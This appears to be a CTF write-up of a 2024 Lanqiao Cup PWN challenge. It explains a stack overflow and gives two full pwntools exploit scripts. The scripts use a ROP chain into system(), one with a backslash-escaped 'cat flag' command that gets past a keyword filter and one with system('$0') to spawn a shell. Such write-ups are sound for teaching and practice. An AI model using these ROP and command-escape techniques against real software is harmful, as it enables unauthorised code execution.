[蓝桥杯2024]-PWN:fd解析(命令符转义,标准输出重定向,利用system(‘$0‘)获取shell权限)

查看保护

查看ida

这里有一次栈溢出,并且题目给了我们system函数。

这里的知识点没有那么复杂

方法一(命令转义):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

#补充点1:在第一种方法里,这里的\\是转义符,它所占的字节数并不是2个

复制代码
payload=b"cat flag 1>&2"
复制代码
payload=b"c\at flag 1>&2"
复制代码
payload=b"c\\at flag 1>&2"

所以在这里\\只占一个字节的位置,刚好达到输入上限

方法二(利用system('$0')):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"$0\x00"
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

获得权限之后再输入exec 1>&2进行重定向就可以正常拿flag了

相关推荐
像风一样自由202010 分钟前
56.实战PostgreSQL-pgvector-FastAPI构建轻量级RAG
数据库·人工智能·postgresql·大模型·fastapi·智能体
User_芊芊君子1 小时前
KFS异构同步_260条链路DDL自动转换解析
数据库·ai·大模型
xiancai_xianyu1 小时前
Text2SQL落地生产库前,SQL要过哪三道闸
前端·数据库·sql·sql注入·text2sql·ai agent开发·企业级ai框架
迪康Defender1 小时前
终端安全运维:浅谈迪康端点安全一体化管理系统工具箱实用能力
运维·安全·信息可视化·自动化·运维开发·学习方法·远程工作
Zucker n1 小时前
一款适合研究生科研工作安排的日历
linux·数据库·python
Sharewinfo_BJ2 小时前
Power BI沿袭视图详解:从看懂链路到做影响分析
数据库·数据分析·智信bi·上北智信
嘟哩DuliDuli2 小时前
AI创作工作区的项目上下文与多模态任务边界
android·人工智能·安全·ai·软件工程
l1t2 小时前
DeepSeek总结的 DuckDB 2.0 中更简洁的变量语法
数据库·sql
菩提小狗3 小时前
每日安全情报报告 · 2026-10-16
网络安全·漏洞·cve·安全情报·每日安全
pusheng20253 小时前
普晟传感再获“消防产业核心配套优质品牌”:以可靠传感技术,让全球合规变简单
大数据·前端·人工智能·物联网·安全